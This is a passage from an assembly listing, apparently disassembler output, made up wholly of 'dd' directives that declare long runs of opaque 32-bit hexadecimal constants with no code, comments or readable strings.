6CEA8F69h, 0FA2709CCh dd 0F3D7FDF3h, 75E4FFC2h, 635CA7A5h, 2BC49BFEh, 78248795h dd 0C2ED11FFh, 6F70AD64h, 98437FA2h, 0A49473F1h, 6A44E238h dd 645F0DD3h, 2DB5C5ABh, 0ED6147Fh, 85DE7573h, 2A4F46B6h dd 1A91FD76h, 0B3B736D7h, 0E9F5D34Fh, 2D584BFDh, 68400039h dd 447B67CBh, 99551B6Fh, 25D35ECh, 43D85CF7h, 0D693FC4Fh dd 99D484E4h, 238459F0h, 71A10119h, 0E3F81AD0h, 468722CCh dd 8FC17888h, 0A24797Bh, 902E061Fh, 0F9E1FE43h, 908361A9h dd 0F9AB6F88h, 8F0B75A4h, 0BB3C071Eh, 89806CD3h, 78ADCD23h dd 16496333h, 4A448D65h, 8D5E6864h, 0D289537h, 70A4F85Fh dd 0A5098EC1h, 0EC63BF4Dh, 13852FE5h, 0AE40549Ch, 806840B8h dd 49E658C6h, 0F0D05FF0h, 49CCD89Eh, 69A437B1h, 2E138BC0h dd 0CCB9673Dh, 0DB420CF0h, 0F902247Dh, 733AD690h, 415C6DF3h dd 0F117140Ah, 168FA24h, 1EB2FB9Ch, 0D29D4024h, 2FA0CF1Fh dd 2D792A8Dh, 250246D9h, 1A5A762Ch, 0FA291E4Ch, 745541B7h dd 0FCCE688Eh, 0BA4A22E3h, 7947BCAFh, 0D0CC63D9h, 94A4293Dh dd 6ED659E5h, 0C757A58h, 3B56ED9Fh, 6C1EF494h, 3FDD5F56h dd 67265580h, 0AE7F539Bh, 0BA348B0h, 0ABCBFE6Ch, 2C899DB2h dd 22E9A18Fh, 9132AE34h, 0C6410A54h, 461B474Eh, 0E806255Fh dd 95500676h, 0FFB57EDBh, 305D0B02h, 843810C5h, 0D7DC4A06h dd 9E553E9Ah, 0B61C3833h, 0DFB20D4Dh, 3D38C49Fh, 77A05E7Ch dd 0E1604DE0h, 79DBF97Ch, 573EC340h, 30E8086h, 8527AC9Fh dd 0E79954E6h, 2A621261h, 0C5D517F8h, 0E31AF6B3h, 2BA17D2Dh dd 0D24A5A98h, 0E5BDA21h, 0A7D59557h, 0E2490041h, 0B3E8BA8Fh dd 0AFFEAD42h, 548F0B0h, 45F0B50Eh, 0BE069CF9h, 0A86BF220h dd 0B0451287h, 0B09F7229h, 4FF56F2Ah, 2371D9F7h, 0D1CB69AFh dd 0E6FD6850h, 0D2BBE1Eh, 882207F5h, 5E17A027h, 7FD72417h dd 909DCAB2h, 2A5A913h, 0F763BC36h, 17A3DE6Dh, 39F6B1EDh dd 3B567BA0h, 1DA51815h, 3C13B250h, 1E2E8797h, 5386CDEh dd 0E06607A8h, 0BACAA371h, 0C167A532h, 6A84B646h, 0FD807A6Eh dd 8A5238F6h, 623BFE00h, 28679773h, 354DF090h, 6A742FEAh dd 3F2DF44Eh, 0AED37022h, 16FE6BBAh, 0B2CB9E27h, 0E2C9F105h dd 1146F737h, 0F976314Eh, 5196A950h, 9EC4F19h, 8E536B93h dd 65F49F4Ch, 22535E99h, 563607F1h, 64A7B78h, 0B40AE9DEh dd 507A2188h, 2469381h, 8EBCEA7Ah, 3C23484h, 0E2D61758h dd 9922B8ECh, 865B5F40h, 84F5C4C1h, 5BE2087Fh, 7800EF8h dd 0DB012D5Bh, 0DA3B6CD9h, 7D63E302h, 351F7B04h, 688BB610h dd 7015FF6Bh, 36235C6h, 0F89F347Eh, 0B6E24B5Dh, 2C93A986h dd 0F938096Ch, 0FEA28784h, 0D8233C8Bh, 68D370B2h, 3707490Ah dd 9E017AFEh, 1BA0CF48h dd 7CE0DC1Ch, 0BBC8BA89h, 0AAABA253h, 5AF6F56Dh, 2072060Eh dd 2842932Dh, 0FE25D658h, 0AFB57C43h, 556BEBDEh, 55F935CDh dd 0A1149C8Ah, 2ED4F813h, 6ADE2C94h, 0CF80083Bh, 0AAD13DE5h dd 44CC778Ch, 0AF0D0E9Bh, 0D27FFB42h, 32E328FFh, 265FCCC2h dd 6BA3E894h, 5D149FEEh, 0F4F7D929h, 433937A0h, 0C2495BEDh dd 0F968851h, 0ECF83017h, 77F9219Eh, 0EFFEFF55h, 2D1FE9B7h dd 564AA3A8h, 0D90490C2h, 272C1A3h, 16CD70F0h, 6208E749h dd 7562E1E2h, 0C0987E96h, 0CD547CB5h, 35766D75h, 0EDB6B962h dd 0CF3622F4h, 0BC14B519h, 1391AD15h, 0D74C5F2Fh, 0B7E90CA1h dd 93922F47h, 87EAF899h, 6152A4C5h, 7712072Ah, 0D6336144h dd 0D6FF197Fh, 57B83CA5h, 96741ACFh, 124E31CFh, 9DE14612h dd 4B6ABBE6h, 7DE15D97h, 0AD6C2986h, 0E41FA118h, 84C89847h dd 229445B8h, 0ACF3C5CAh, 0EDBD774Ah, 99E96699h, 0AA02D163h dd 0F3A16079h, 0FD7325E0h, 298FF2ABh, 0B0C3C889h, 39F1A809h dd 86CB02E4h, 594F315h, 932D5DF3h, 30E02292h, 6EC74E5h dd 28CB1227h, 0B6A2FFB5h, 0E2B4A214h, 15A348Ch, 7FA2053Dh dd 0FE67F971h, 0A4EC9547h, 7BA21E55h, 0B7FF0B8h, 9CDDD574h dd 956CBE7h, 6F786077h, 0B35BC6CDh, 2DEE2F6Ch, 1723AA2Eh dd 63630559h, 0E220BF6h, 9CE8538Bh, 0F91F1DFAh, 0CC9A53B4h dd 0CD2D06C3h, 67372F43h, 4D68F82Ch, 0E1322E5Dh, 2FC368FEh dd 18F64CA5h, 0D7BEC71Ch, 1AD103E3h, 0F6B83C3Fh, 0DC1C360Ch dd 58555409h, 866D2378h, 6EF78F99h, 0E6E1184Ch, 0C9DCAF5h dd 9F4CE147h, 0A5CDE40h, 8534A639h, 79C126A3h, 424A5B3h dd 94DD37A7h, 935B4369h, 0E694BD2Ah, 0F3B7DEDh, 6AFFDB67h dd 694FCC1Bh, 3B01B653h, 8281389Bh, 8059DDDFh, 0F4F91FC1h dd 6F53743Ch, 0A98658E0h, 0D372D852h, 0AA889535h, 17CC7F96h dd 0AE93A374h, 0D45893E2h, 37D8D7C6h, 80D8DDACh, 0DB335446h dd 0AB55A2B5h, 6673F54Eh, 9998C695h, 505CA5F8h, 5384D6BBh dd 45558E1Ah, 60D92D55h, 6AA5FF6h, 0D59E8DAh, 911D7413h dd 0C059FF68h, 8396469Eh, 624529E7h, 0BAB4C5F7h, 5B9AD210h dd 7AB753D3h, 0D11E8670h, 1A933A20h, 70622A1Ah, 0A8321CC4h dd 9FD6D330h, 76840AF7h, 8C151F94h, 0C73CB330h, 7D3939F3h dd 0DA80620Ah, 0B7402C71h, 5BED4A27h, 874D34ACh, 7C3AA034h dd 98FEFAFEh, 3CA96BF7h, 31565A87h, 902006C5h, 394F406Ch dd 0EEC2B636h, 4EA3CC75h, 0E54F1BEAh, 23CABC76h, 0F25A7AA2h dd 8B4C15E4h, 79A97A3h, 7A3AFAECh, 0EA3BAD78h, 0CA15E280h dd 0FC69DAC2h, 0E72ED166h, 0C848034Dh, 61604DF2h, 73A0875Ah dd 0D5012308h, 72E620ECh, 2483DF66h, 0FFAA120Bh, 6106EC1Fh dd 0BBDFB6CAh, 5744EC00h, 89861214h, 0F5D61599h, 2BDAF127h dd 37D0EBE3h, 0F6C70038h, 73AC46ECh, 0A5B6E9FEh, 0F4387DCDh dd 2C1C1E58h, 90A0B1FFh, 0FB4BB2DDh, 0C3543C3Bh, 2C52CF73h dd 2CC9A709h, 0A979F715h, 0A7795E7Ch, 99B0D714h, 0F3BA8CF2h dd 0A7DC22E5h, 0D816794Fh, 1ADBA9F6h, 8D0BE72Bh, 58FCC2F9h dd 7A42F538h, 0BE9E7B49h, 70AC3630h, 6EA9F084h, 0A5878B9Fh dd 0FBE3A860h, 0CC1E3385h, 983EC7D8h, 0F8FE0CC5h, 1E92E0CBh dd 0AE24E5E8h, 558623B1h, 9575A9CFh, 95E6F31Ch, 90A87082h dd 0FE48B199h, 36BEE412h, 43AE3EB5h, 0A343BA2Ah, 0A3BF6A98h dd 3BBB945Ch, 6150E5E7h, 0EDA6849h, 4D0FB736h, 0CFDED451h dd 0CB05224Fh, 0B007BC4Fh, 0F416880Ah, 0CAB34896h, 0E53C13F2h dd 3FAEC1FCh, 1C4F8A8Ch, 6015D45Ch, 50D1C126h, 4D875964h dd 582B5EE9h, 90EEECE4h, 0E9D717C6h, 71C08E9Dh, 5081473h dd 0FE5FBBF0h, 7E209C49h, 0A2E1DD14h, 60496464h, 0B880F627h dd 0DDEF018Ch, 9E9549CAh, 6E185124h, 0B5525534h, 0E717B21Fh dd 402C4773h, 0FA48CB7Dh, 7B7D62D5h, 73B90ACFh, 0B5384ADBh dd 10010BB5h, 77321A3Dh, 0DEA58C60h, 347704B5h, 9DF70816h dd 99EE7C31h, 0D2A275A8h, 98C4C0B9h, 3FACEE2Bh, 71BD1612h dd 204E8EB4h, 0B614DDCEh, 0CE89213h, 582288DBh, 675FD47h dd 17362EC3h, 0F81E7D16h, 0D2C9A0DEh, 7BC65B2Ah, 0C5863524h dd 0AE3B06EDh, 2A0A72F2h, 0AF708CB1h, 6407CBFFh, 18786C37h dd 2D951BF0h, 0CBC2CCF9h, 0B2C4179Ch, 95F9627Eh, 8911873Dh dd 0B0EE37E1h, 5903F251h, 9A36F7F0h, 2BD9FB4Eh, 0AB540D59h dd 0D0711CACh, 0FD7C5956h, 455F03C3h, 33306F3Ch, 197D0037h dd 0EBCE9A1Eh, 8E8A6A91h, 0AF72294Ah, 152896DAh, 290E58A5h dd 1ABE7964h, 0AE72D241h, 5FEB5025h, 0D7B089ADh, 0D233140Ch dd 7075A1DCh, 0CBD46B3Fh, 0AFCCCE58h, 0E031C48Fh, 54230DBCh dd 505CC144h, 3449737Ch, 83524230h, 0CA852AFCh, 94C6C29Dh dd 0A7836680h, 0EB6F978Ah, 7D0CEB8Ch, 9BD0096Ch, 0BE65B58Bh dd 0ECF81A16h, 167AFE29h, 13EC196Bh, 0C8EFF37Bh, 67F3B03Bh dd 0CECBFDADh, 33585D0Ah, 0FDC656Dh, 66A378A2h, 14AF7E7Ch dd 0C03F7509h, 76908B90h, 0E90E11D1h, 0D5982DB3h, 5D8430B7h dd 0CFC35FEBh, 74384799h, 44386DF4h, 75A66C8Bh, 67F8598Bh dd 47E49C9Ch, 0FAC81331h, 0A510EA11h, 4B50C894h, 0D4C599E8h dd 2F50F979h, 0E3826ECDh, 52967C64h, 0B85C966Ch, 56049B0Ah dd 4BFC89CDh, 0C3780BDCh, 0C3D43EF9h, 5E19F205h, 3DB89D6Eh dd 54D5B643h, 5BD6C87Bh, 784C01B1h, 0FC8EA12Ah, 0AA3A1F62h dd 7A2EC345h, 0CE286445h, 7C20C639h, 93E1DD2Bh, 648B6AD8h dd 0DACC22E7h, 8936F88Ch, 95C66221h, 4DC9C921h, 0E0B2EF6Dh dd 951348C2h, 7C4DED29h, 53CD6F7h, 0B082D09Dh, 3CE04C6Dh dd 0F572E056h, 0D0244C3Dh, 7A4EFCD1h, 6EAF9EEBh, 0B853A3D8h dd 285F46A4h, 74DB8AB2h, 880E7B90h, 171A3DF8h, 3E1AF6E9h dd 20D8282Fh, 0F6E06E1Fh, 7585D6D7h, 67B0DF30h, 5A7B4298h dd 0FF866783h, 69D07137h, 9F7634A7h, 81A6473Ah, 0E2D0D209h dd 541AFE3Eh, 7DD61D6Ah, 0BEBA7089h, 0C76F7747h, 1CAD3BCBh dd 38558E7Eh, 8DC227BDh, 0EA4DFD82h, 1D177898h, 2D535D56h dd 266CED90h, 0E3CFC797h, 0F5847235h, 0DEA4016Dh, 0E7EA700Ch dd 0CB72AC06h, 6B7ECEF0h, 0DC1C9ABh, 647300F1h, 4C6C5EDh dd 0F33E3DA1h, 9644AFB7h, 2E3D8EF3h, 72D0AE0Bh, 426A1183h dd 0A6BCDF3Eh, 3C889E91h, 0C9C7817Dh, 710E677Bh, 70172CEEh dd 79D217F0h, 547753B0h, 9E887486h, 0D0F43C25h, 8462AA8h dd 72236D21h, 0D6C629BDh, 0CDCB1788h, 0A0EB21F7h, 6AC6F985h dd 64227A24h, 4AB36F51h, 61C50699h, 0C35B8C6Fh, 88975130h dd 0F35D2EC6h, 0B9EA0D92h, 6FF91689h, 62C6E0D6h, 25C3F5A1h dd 0E99BEA1Bh, 167F28A9h, 0C3E6A66h, 512D82D9h, 0D1FC4329h dd 0B6AED683h, 0C26753DBh, 0D91602D2h, 0F9577C5Ch, 0FF9637B8h dd 7D15A63Ah, 44F9BD3Bh, 4018AF00h, 72CE5383h, 13C1AE77h dd 0EEE99711h, 0D613E214h, 0D667C41Bh, 0C299B92Bh, 91880C04h dd 35C08527h, 0D9F88671h, 67D1BBB6h, 0AE1EDEC1h, 69A60B86h dd 820A1716h, 6D7676FAh, 52F5AEDh, 14F1CDCCh, 46D65559h dd 741B94B9h, 889701BDh, 0EB992A84h, 5A581476h, 9D28739Dh dd 9FC2EB75h, 0FA4E0078h, 9C5D0720h, 900A60B0h, 0FFD22B06h dd 5D0AAA50h, 5AF22EECh, 3811AAEFh, 1C3276A5h, 34815750h dd 640758D0h, 7D492BF1h, 0FA6B2BCCh, 493BF223h, 0A1440011h dd 0E52F6CAAh, 57ED1279h dd 49CD767Ah, 0BA68BE4Dh, 98F4B605h, 5DCFACDAh, 0A3959122h dd 0BAB1CD19h, 8F801324h, 3B036570h, 43F5352Ah, 223F9C40h dd 0EB1A7182h, 0F7C4F807h, 6F6DD3F5h, 6FF884D2h, 7150AE40h dd 0AFC692A5h, 0C7B6B934h, 248F7212h, 0A315AA0Ah, 790E7C53h dd 6CE9D463h, 1C39F52h, 594FE350h, 0D2763382h, 334E4839h dd 15085288h, 0D272FD1Bh, 60D177CBh, 0E77CA9E9h, 0AE8142FFh dd 2D482808h, 38ACDC37h, 0E4D16759h, 37BA812Bh, 0B986E69Fh dd 0BB8EB6B7h, 0DFD0F2DFh, 0E2D9634Ah, 1792562Bh, 3503D9Eh dd 8835BE5Bh, 85AA1253h, 0C843AB75h, 0BFA0F814h, 0E8B1139h dd 0C669FC96h, 4A0E68A4h, 2BF0CA3Eh, 853E15C8h, 0B43E45FEh dd 0FCA919ECh, 0D47C15A0h, 0E3EBCCA5h, 9C8170E7h, 2860AF64h dd 0EB8A9B3h, 6A55A6EAh, 195F05C1h, 92CACB40h, 91EC5C99h dd 41F5CBA3h, 7AD41E5Bh, 68C29C9h, 0E0EBF578h, 0EB6B0ECh dd 0B855B3E4h, 0F40CC9Bh, 0E10912E3h, 0DD0B77BCh, 7C9F74A2h dd 0B36111BCh, 0DD726DBDh, 0D6221FEBh, 31C782B9h, 3E569B8h dd 3E73E8A0h, 8E21A92Bh, 27329E75h, 90F1EDF7h, 0B6C3404Bh dd 58C00EB2h, 0D4DA5929h, 32D29F5Bh, 33625C05h, 45B0D478h dd 79FD626Fh, 17AD4C7h, 0D968330Fh, 0FD15F92h, 6132961Fh dd 56CBAEBFh, 1B292E83h, 0D3BFC602h, 0F8900E27h, 97F1AB25h dd 2B435EF6h, 0A6CBBD4Eh, 880C2290h, 68469E4Ch, 0AC342FDCh dd 0C1E2DAB6h, 7705E11h, 1C1407A7h, 79F35AEDh, 884C7EAFh dd 6D23F9A9h, 0CD85465Ch, 34BC9060h, 6DCCE23Fh, 9C94816Ah dd 13246143h, 0CA501C07h, 79CF2212h, 8E5F49DBh, 85A58A44h dd 2CE90879h, 0BA2330B1h, 0D5165EAAh, 5BE675F6h, 0C8825A51h dd 5F4D9D61h, 0C0563F54h, 6FE5CFDEh, 70E6F53Fh, 4A31ACA3h dd 12BEB276h, 0E1AADC13h, 67E9F153h, 812FAE11h, 70A817FFh dd 0FF4D14E1h, 7DDB85F3h, 0E9F4928Dh, 9959D1D5h, 0ADF95985h dd 350617BFh, 4DB566B9h, 0BBC7B178h, 0B80FBD2Dh, 35ED8D61h dd 0BEC628F8h, 0AED80C49h, 63628B4Ah, 568B8580h, 0E48320AEh dd 27BC9B9Fh, 6A37C392h, 8894C634h, 0E2E499D7h, 70B0B18h dd 0A747F577h, 609BA18Ah, 20FD7C18h, 72436119h, 90FE1234h dd 59895095h, 96A8565Bh, 76BEFC1Fh, 4540FE92h, 2559B42Fh dd 35BED128h, 2BCB25D8h, 0E4896920h, 98F743F8h, 0AD74FA26h dd 0FE343FE2h, 218FDEB9h, 332485F6h, 76A2B357h, 53BE5381h dd 59A02CABh, 2648C824h, 9F4FE9B5h, 21E8527Dh, 15E4E51Ah dd 0CE87EEEEh, 61B98F6Dh, 4F461ACFh, 50C81AB8h, 477628Ah dd 2F7B248Fh, 0A1CCB690h, 9168412Bh, 85F164EAh, 0C957713Bh dd 0FB9E7949h, 304121B0h, 1D21E3E6h, 0B512B738h, 898BDB4Ch dd 0B7E9843Ch, 0D088B5A6h, 5D5705BAh, 9E1334B6h, 31BA1638h dd 49DD499h, 62035FA5h, 8C75EF5Fh, 0A4157EFAh, 6449223Bh dd 0EEB5BE47h, 0E75D4F73h, 33B37E34h, 0FEE67F60h, 6536A1C7h dd 8CEA60AAh, 43141335h, 19D1E54Bh, 6FB28A6Ch, 8148432h dd 0A43A8515h, 0F9AEC631h, 0CE1EA411h, 9D3C4B2Ch, 59B09CDh dd 6C1AB8EBh, 0C18C8590h, 0E649FDD2h, 9CD95241h, 20E2AD94h dd 0ABEA7D70h, 0CD73C8CCh, 0D337F6C1h, 9F27403Eh, 924A6998h dd 4E272331h, 0B0083FDBh, 0E3C89E74h, 4CE64FD4h, 0C79721DCh dd 11B2CEB6h, 0F9193E91h, 0CF5A5A47h, 9C5580E0h, 5D615810h dd 54C313FCh, 0FF25370Ch, 4D1EBA16h, 570D0541h, 83E84605h dd 8401AF9Ch, 6E5AACA4h, 0CFFF625h, 0D554AB06h, 0B4BD900Ah dd 0D4F94DEh, 4C8CC6A9h, 479E9F87h, 9377ED63h, 0A50DC595h dd 29DA0921h, 375F6A6Dh, 0F54BA20Fh, 4F7C413h, 0BEF74B79h dd 1892235h, 975B2BCCh, 0D58D3CE7h, 0F7286FDh, 0F7157516h dd 1AFCB39Ch, 0BD000ECEh, 1D868DACh, 97B4DA33h, 0FDC02772h dd 2CFB2C46h, 3A4E852h, 1BB6DAF7h, 0CDF227F5h, 0D42F0E78h dd 1B608E18h, 0BA20997h, 3787BBC6h, 0BF1125EDh, 2B3FF795h dd 725DC451h, 31B79732h, 104D43h, 13011297h, 1BCB8E57h dd 1E7DC02Ch, 0EC49D618h, 0F7A627FEh, 0EC24C5C8h, 1C1831E3h dd 0A880A6FBh, 2F65DD69h, 0E318D2C1h, 0ED171E1h, 0B1333DB8h dd 39E5FA96h, 2BB0CE4Bh, 6B19916Eh, 8CC23A9Fh, 0EE3C65E3h dd 0BE52B5D8h, 0C1E0CF5h, 69378BD2h, 798F1458h, 11C56004h dd 0FD0FFE81h, 0D437835h, 0FD058ADBh, 896E8A63h, 0A8B544C2h dd 0A07F1F59h, 35B48B94h, 89F9523Fh, 0C2F15A37h, 55544246h dd 0A80A8F9Ch, 5B2E211Fh, 2A3E789h, 0CFEE710Fh, 5BA84569h dd 1DD24999h, 2DC01CD1h, 0C973A1CEh, 1BBE7BB9h, 6B7380Fh dd 2D0B3999h, 420AA792h, 0B71A0963h, 0CA0C22B9h, 3D33A745h dd 1BB7BC67h, 0A4974B6h, 7E3B87CBh, 471BE8ADh, 852077E3h dd 11DF64Dh, 0C10EF80Ch, 164EEE33h, 4E474952h, 0D593DBDAh dd 0DC9407ECh, 0C2A1AD02h, 8A26333Dh, 0BFDC0484h, 9213CE00h dd 0EF1ECF14h, 0ABDFB073h, 844D9E47h, 2E225E0h, 200EEA8h dd 7EF55089h, 31C50CE4h, 9FA17EA4h, 3796C2C7h, 2C115ACAh dd 0CEAD160h, 204B4624h, 93457F97h, 67F68B4Bh, 0EF29E082h dd 0A6F013FDh, 0FDAD6FE1h, 8AF9F342h, 2769405h, 0D1619458h dd 34DA2552h, 542638E0h, 5503E7C9h, 6FB9A0E4h, 0CD13E9F2h dd 2D12CB73h, 2AC51FFBh, 78771886h, 6768CF57h, 5F2318Dh dd 667FFF6h, 0A56C5F13h, 90A7AC9Ah, 31BCE225h, 675FC713h dd 612BC71h, 0AD377DACh, 0ECF56A6Fh, 161344CCh, 8E14735Fh dd 0EE965A95h, 73EFDD64h, 46D8F74Ah, 0F6724A49h, 0FC94BE13h dd 782AF386h, 4E8967C2h, 0AA660523h, 0B8134D46h, 0AD652883h dd 0DFAB0E78h, 0AF7D49C3h, 79EDC956h, 0B2C911E3h, 9C71DDDEh dd 0C811C4A7h, 145F2EB9h, 3870239Fh, 0FBFB6340h, 0E2AEB0B5h dd 0E30C341Eh, 63832080h, 0F451435Bh, 0E2128B70h, 389156F7h dd 55B573EAh, 3402BD40h, 6A30E776h, 627D6077h, 68FB1434h dd 0A23D6B7Eh, 0EECD0EE1h, 0C6D4529Eh, 39156D20h, 64EF907Dh dd 91234390h, 53A47905h, 0FD0F1323h, 0C81A61DEh, 1FECF944h dd 2517FC08h, 902945DDh, 77830267h, 975393C3h, 0D7ED8558h dd 13DF2EB7h, 8175407h, 0C01A5772h, 0D47FF683h, 304714AAh dd 0F54CB556h, 89E64C41h, 69CA32B9h, 0E1234A02h, 53849365h dd 55A22915h, 0AC03956Ch, 0B9DB0D58h, 9D44E91Bh, 2A78AEFCh dd 0EDCEF129h, 0A83AF2DDh, 52EDFFBBh, 0C100591Bh, 3BC4C071h dd 0A266CF21h, 2E350435h, 0FDDCAEDh, 0DDA521FDh, 97B8B562h dd 0D52558EBh, 7D4E62B1h, 30D5A6CCh, 0AD7A9259h, 80CB2670h dd 0A4177DF3h, 0AF3605Ch, 0F8EEFA3Fh, 0FAB14E2Ah, 30A7E0DDh dd 6414736Dh, 0F2A3EA8Eh, 0D5612ADAh, 0C3D1C11Bh, 0CE0702BDh dd 14648C6Ah, 9A1352F7h, 0E5E48BF6h, 5752E586h, 34EF9314h dd 1ACBE71Dh, 0EE68DEEDh, 121428C2h, 4EAE961Bh, 0D199E860h dd 3A742F51h, 0D4469A9h, 74858D2Ch, 0A4079139h, 0D31D284Dh dd 3820CCDAh, 3A397C6Eh, 6045990Eh, 32FA0FCBh, 92F35C58h dd 90B469BCh, 7C318C52h, 0E26BFD48h, 95399952h, 72D73CDh dd 92BA4162h, 0DD615E12h, 0CBEDC8B9h, 0FEFBA9CFh, 3BFDE4AFh dd 622C1E58h, 8F2A3A2Eh, 6177ACD0h, 6763D157h, 0D82F776Eh dd 3E9675D7h, 40FDB88Eh, 2AA1997Fh, 1F3F0B3Fh, 18086284h dd 323B15FDh, 0C5972CBDh, 0E054365Ah, 62AC6643h, 7501AAE6h dd 97739DFAh, 0C2FAB99Bh dd 0AC1E1988h, 6F0BEF99h, 3F5E8A61h, 0C2681F39h, 0BC5776D0h dd 0B2313FF9h, 6ED9E1E4h, 7E734CFh, 5DEA36DCh, 0A6163E0Eh dd 0F0DAC615h, 488B9444h, 150D899Dh, 0F07ED854h, 34A7EB88h dd 0FC5AF0FAh, 0DC1E826Bh, 0A895E4C6h, 0DD0F27D8h, 95ED2A12h dd 0DBEB5D9Fh, 0C774FC94h, 0C7EF3415h, 586AF80h, 0B91853B2h dd 42EFE5C3h, 17003CC6h, 0ED07D397h, 6562E182h, 398C32A8h dd 1EEEBA50h, 47E8C48Ah, 1FF21CA2h, 2B0A19C3h, 0FBD73E83h dd 348C933h, 0C1844CC3h, 2E54C631h, 1CA906CEh, 48098923h dd 0C26EF1A7h, 0C88FCA31h, 0B16E3378h, 0A80C23EDh, 90E7BFF5h dd 84ADC0D1h, 936F13B6h, 0C294EA11h, 721BF8A9h, 0C6CF6D57h dd 48B5F5FCh, 683D8EC4h, 0ADCF7A31h, 393EE7A2h, 42820DB6h dd 36110035h, 0A05C4Ah, 0B21373D8h, 22445F6Eh, 0A0927144h dd 3B5F704Dh, 7BA2C84Fh, 7818D066h, 0B70CA42Eh, 83125153h dd 0B8BD9C3h, 7288476Dh, 0F39BD605h, 0D16BA5BDh, 0EABAC106h dd 130C334Ch, 4C39630Bh, 0FDBAB1A6h, 3B16CF58h, 1E5A5A37h dd 73F163F3h, 0AC221A30h, 272D7152h, 942AF130h, 55A98748h dd 6E947332h, 184258B0h, 23F403Eh, 18D234DBh, 9AF8529Eh dd 0D9DD7D12h, 76D44BA7h, 0A84DD16Fh, 29ACCC4Ch, 390FE18Bh dd 5BD5F180h, 97200CF7h, 0B70ABB78h, 712F1640h, 47C3027h dd 0EBFA90E5h, 0AD849EF7h, 0A00321A0h, 72A0E422h, 2DB9F0AAh dd 9AC6ABBCh, 2C2DCE51h, 9EB22F7Bh, 703CE0C6h, 639A97D0h dd 0FFBCA7BFh, 0F3624A02h, 4939135Dh, 6217D65Eh, 228CEFA2h dd 3E5E7E28h, 30AE7841h, 0A89A967Dh, 5BAED6CEh, 0B091EA90h dd 44EB4118h, 0BCB2A82Fh, 12AD5DF4h, 10E817B6h, 3BBB316Eh dd 8A141329h, 80753342h, 0B0F3AD7Fh, 0FBE19687h, 1B31FC4Ah dd 48CFC653h, 244BCB10h, 1B6ED90Eh, 59045908h, 0F76753AEh dd 2E7B696Dh, 6E256343h, 0C225A6E7h, 2EBC2B24h, 91823BBh dd 0CD62513Dh, 1205C1A8h, 0D296BDFh, 12BA4D4Bh, 19C5A9BFh dd 0E68E6B0h, 91FFD92Ah, 12A613FEh, 0C9B49E8Eh, 48EB221Dh dd 1B421E87h, 54E7305Ch, 66E85858h, 0BBBD7316h, 0ACEF0EC7h dd 0E344CF8Bh, 74F2AFDAh, 0A33A919Eh, 97CABFBh, 0A3B9C1A3h dd 9A08C6Fh, 0BAE38F3Dh, 22B9E464h, 0C7D81080h, 60E2AC92h dd 0B096FBDBh, 19FBD794h, 0CFFB2120h, 0F55DF100h, 854590BAh dd 421A3B7Eh, 3999E641h, 7ED4172Ch, 1BCCC4B1h, 8E653BFCh dd 21DB0F6Ah, 6CC75EAFh, 0B3303C12h, 33FB4BF0h, 91C08DB8h dd 77894498h, 5E6AA64Eh, 77572DFh, 0E53F1A52h, 13EA80B0h dd 2297B563h, 64F18775h, 0AF05979Dh, 0FED5DE06h, 0A0CD92E5h dd 2DDEDB1Bh, 0ADAA1901h, 91193D3Bh, 90665A1Eh, 0B1BC521Eh dd 61886723h, 7EA4FFE0h, 23BCCCF0h, 0F1A933EBh, 49A55810h dd 1E7C43E5h, 991AF79Bh, 0EE715386h, 0F2FC172Fh, 6CE4AB70h dd 0BC639F54h, 8BD2237h, 0D51D8819h, 7EB2DE7Dh, 0A979CB68h dd 8A221129h, 9176264Bh, 0EA2F4B2Ah, 9F398AD5h, 24F4012h dd 5E7C288Eh, 0A62799AAh, 0CB6E2B47h, 0EA37E4EDh, 0AF27602Ch dd 716C68D8h, 0F3F1D636h, 4E4117A8h, 0C613269Fh, 4DF9DA1Bh dd 57F4F88Ch, 52EB6A2Ah, 45184511h, 5349C57Bh, 2F95A0Dh dd 0B5913DFh, 0B79DCFBFh, 426F88E2h, 0DFD82F13h, 696D08F9h dd 353AD405h, 429A3E57h, 325CFE3Ch, 0C278C009h, 0D4FCA439h dd 653608CAh, 0D10425A9h, 666FD1AFh, 93A37E58h, 0BC211EF0h dd 2CEB45C8h, 0C15EF761h, 75B06DDBh, 165159A3h, 10871749h dd 7A72397Eh, 0A8CE88F4h, 0D3639162h, 0D9492FF7h, 993B5E95h dd 378662Ch, 3E6A364Bh, 6E749ED5h, 2C53F50Dh, 0ED85BCAh dd 0F91F61A7h, 0C9BF0BF7h, 78BC260Eh, 0DD202612h, 0A953875Ah dd 0CEE7C0E8h, 3EA2D7E8h, 292BF483h, 25B5883Eh, 535E1DF3h dd 365DCDC0h, 9444FAFh, 261CA938h, 0D50100B7h, 44DBFC51h dd 0C2F52673h, 0D8873156h, 1900BA0Dh, 0EED599BDh, 14BF259Dh dd 0BB1558C7h, 0A6411A91h, 31EFE596h, 872CC431h, 6A1B372Fh dd 0CC781530h, 0B0A86D50h, 45F95C09h, 0FDF3B049h, 46531989h dd 7227B122h, 0F1C156D0h, 1BD93FD0h, 0DAE4BC06h, 499466CFh dd 805C78FAh, 6EB80723h, 256F9B1Fh, 59A5825Ch, 2D01491Fh dd 23734A5Ch, 9D215DCEh, 0BF3A4BD0h, 83DE1238h, 2EE5214Ch dd 2F0E1025h, 0FADCA0AEh, 40E87A6Fh, 0F72D69F1h, 1638BBE6h dd 5D27A8h, 5DC4BB2Ch, 53610BA6h, 0DC60DA8Fh, 0B83C53B8h dd 9E15C818h, 267BFD65h, 6119496Bh, 0BFA42D92h, 12581212h dd 8D20A48Eh, 3B84C001h, 30C6C0D5h, 0F51B9FF7h, 559BCF08h dd 4657CBBCh, 89D28AADh, 6395FF2Ah, 7AEAB8B3h, 0ACFA99FEh dd 0D0FB87CBh, 73FE32FFh, 2CD6D7D8h, 2C99D063h, 9B497D22h dd 4BE60BCAh, 306B04D9h, 53A00625h, 54A0A1E1h, 7C6A6EB8h dd 0CC4D0EB1h, 3CADEB31h, 4C487388h, 0DDAB8A5Bh, 9DCA9A45h dd 0C2B9E615h, 0D521DF78h, 7C9D4143h, 71957038h, 3868AF8Ch dd 0C197497Dh, 0B8718940h, 4DDD83ADh, 0A591A2BBh, 8822B417h dd 6F769106h, 0FD433A1Dh, 22C48D74h, 50A6DFB6h, 0E7EF5E03h dd 0C42405B5h, 0C5D05448h, 730FB6Fh, 0AB4B2CE4h, 0C816A622h dd 9C2DE74Eh, 0A49DF46Ch, 2908A33Fh, 3AC05E6h, 68459003h dd 9F00CA99h, 430575F9h, 2EDEF72Ah, 0BDEE2CB6h, 6E6254A9h dd 8AAAE037h, 0CB7418F4h, 0C5ED1B14h, 34029B92h, 0F24E8AC6h dd 0AA0FA78Ah, 